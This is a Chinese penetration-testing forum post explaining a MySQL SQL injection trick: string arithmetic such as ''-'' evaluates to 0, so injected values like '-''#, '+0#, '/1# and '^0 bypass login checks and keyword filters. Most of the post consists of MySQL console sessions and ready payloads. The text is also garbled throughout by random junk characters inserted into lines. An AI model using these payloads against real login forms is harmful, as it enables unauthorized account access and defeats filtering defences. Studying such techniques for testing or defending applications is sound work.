中国网络渗透测试联盟

标题: 使用MySQL字符串运算实施精巧化SQL注入攻击 [打印本页]

作者: admin    时间: 2013-11-23 16:20
标题: 使用MySQL字符串运算实施精巧化SQL注入攻击
我们先来看这样一个场景。
3 C, H2 V1 f+ [# d3 c有以下表结构: . ]  G7 k7 x5 f+ ^, Z) N

& @9 u( Z/ f( W- d3 R, vmysql> desc admin;
3 W3 d/ r5 R+ l. c" @+ M) `# e+----------+--------------+------+-----+---------+----------------+6 S7 |- N  M, Z2 Z# k& X8 ?# {' y% K/ x
| Field    | Type         | Null | Key | Default | Extra          |
# \5 U* D, h! g0 V" ^+----------+--------------+------+-----+---------+----------------++ P) k! K, y! z- y  ]- K# h% B
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |' @! d" }4 \3 N8 ^' Q' X% f( [
| name     | char(32)     | NO   | UNI | NULL    |                |
3 v- f5 i* p' b0 w/ i| password | char(32)     | NO   | UNI | NULL    |                |
0 h# Z8 I2 ?$ F1 U+----------+--------------+------+-----+---------+----------------+
# m, G0 N  s/ O& ^3 rows in set (0.00 sec)- r" D: D4 R/ X) |  {
执行select * from admin;,成功返回所有记录内容。* c9 B6 D; i' ~0 {) z
' J% l! A( Q4 m  v

( y+ ~. S% Y7 a# n* S) Y/ Y+----+--------+----------------------------------+
2 W1 V' w# V$ [6 c7 C2 ^& N| id | name   | password                         |- T/ T2 W$ g5 M' X
+----+--------+----------------------------------+
% b/ r, `7 S" z; w# E$ I5 T8 ||  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |! K2 p, h1 U% k' M4 a+ }/ e
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
* u+ \. t" L# M- q( D) C, r|  4 | n00b   | ff80e8508d39047460921792273533a4 |
/ g3 `+ R2 f, z+ [  y( T+----+--------+----------------------------------+
, R/ K2 v! B# z5 w" u3 rows in set (0.00 sec)
% V, m9 \$ e' W" w4 T" h& Q执行select * from admin where name=”;,没有匹配到任何记录。
" O5 {) p  I" {# A5 g" ~
, D. t. H' i( `; ]) F$ dmysql> select * from admin where name = '';/ h  b( \4 R: c+ e: M1 D
Empty set (0.00 sec)1 N; S4 x- v6 t' L3 C1 }# }) F3 ~2 ^
那么我们来执行select * from admin where name = ”-”;
8 V0 U0 F- N, s* h- ]$ Y7 u* ]9 h1 U" t" k
/ A7 O; C( a" V9 Q5 }% d' U
+----+--------+----------------------------------+
1 ]7 p7 `: f- J| id | name   | password                         |
1 S* J; W5 _" ~4 v+----+--------+----------------------------------+
) E8 [& v) f+ e: o|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
* n5 M0 M- H$ P0 {|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |& G1 a9 B! }* b  j. B. T
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
0 H8 f* `- m) G1 k2 N# b1 T$ n+----+--------+----------------------------------+8 s! r  f1 p+ @0 R5 K
3 rows in set, 3 warnings (0.00 sec)
( J0 f- s9 w5 z. ]可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
4 E0 g% F; q1 U! W" e6 k6 |- y. A5 x0 n" l# J+ R1 f+ S/ `$ h% n
mysql> show warnings;
* ?$ [* w0 a8 \# ]+---------+------+------------------------------------------& V2 ~: n' b( C/ S
| Level   | Code | Message
  b! f% q0 x1 r$ R8 i* f+---------+------+------------------------------------------
& s! |* ?# n  k4 E1 a: O| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
, ^: \: z& h2 X4 `) g| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
! o$ o; {" G! k- o1 V| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b" p. U  Q1 C2 L9 u3 _  Z
+---------+------+------------------------------------------0 t5 z( d$ S9 V* a; ^5 d! H
3 rows in set (0.00 sec)% ~8 @7 m! j2 ~+ f" X" i
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。   _; D1 A" J% ^/ r% ^% \

1 }4 k3 P, {" s; A/ d; A5 m3 Imysql> select ''-'';8 R  J/ i% k0 Z( N, A
+-------+
8 |( g+ a- v, J/ j" C- j| ''-'' |- s$ {/ p8 X  ?8 r3 S+ A: G
+-------+
) a' \4 o" g* h' U$ m4 ~|     0 |9 `# |5 u. j% ^% M( U% S6 b
+-------+" y/ l, `9 {% c; H9 ~" [8 z" R
1 row in set (0.00 sec)
2 D9 F9 @( w9 h7 R+ t返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: - n2 g; _* ]4 U5 t2 @/ x- u" m# A0 c6 v
5 f  S0 P( i% q. F, q1 L
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
7 e) l: m, ^+ d+-----------------------------------------------------+
7 {' g1 v) ?( F| CAST((select name from admin limit 1,1) as DECIMAL) |
0 \3 ~8 L% {0 J0 a: @* m1 o2 ^+-----------------------------------------------------+% Q. X( l3 B0 W
|                                                   0 |# E# {$ O, P9 s! v1 ]' p7 n6 u! _
+-----------------------------------------------------+
) N1 {2 |6 P! f( L0 c5 O* N6 M1 row in set, 1 warning (0.00 sec)
, |) ^3 p( Y& M. t/ q& F- t因此where语句构成了相等的条件,where 0=”=”,记录被返回。
  Z" O) c6 H/ u+ ^$ Q" _- L% n9 {& \& h$ m  {! O( c0 f
SQL注入场景: http://www.sqlzoo.net/hack/
9 W5 s, j+ V* H4 y' z" l* Y* V7 ]1 f" V, M$ ?8 Y- Y
1 _6 ?0 ^/ E" v3 W- J) g
4 |2 E& W; S( Y0 `+ Q

; T, y$ i$ w0 M$ _: _如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
" u4 S: |( ~6 x- \( @; X
% C, B7 ?6 n% G2 M# |2 z$ J1 @那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
/ B1 t& ?* F! l) H6 z7 K% Q! h) P# f1 K9 c8 R2 |) ]3 x

4 v! W; q$ M3 w* w3 B
* L0 N; X7 T" U* @# @
* s6 x! X* E7 m$ y仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 $ y5 q/ c, I) u# E0 _

8 C$ o6 M# ?- P, p   ( s7 Y5 y: d9 J+ v$ L, Z

  ^7 |9 @; q0 w, }3 l除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
; [9 _$ t  C& s7 B) u" W" g8 u9 J+ a8 ?. n" C5 K6 P
/ R  |: v( m4 l; A
mysql> select ''/1;
: c4 V. W$ I7 ~8 M/ L: V+------+
% M2 O' R/ r4 C$ g( t| ''/1 |
7 n$ C4 Q' j- ^( _+------+
" p! S* W( b7 G0 A/ u|    0 |
" Y/ H& o  F9 k9 y* F( z+------+0 o' q8 o0 Z" w2 O% {5 v
1 row in set (0.00 sec)6 i( E6 i( u! A4 k* T! y
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
" N) B$ q- E* ^3 h  t& a+ L+ R% X7 B+ P; w. Q/ Y
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。. Q+ ^8 S" c# f/ t# m- x0 [, p





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2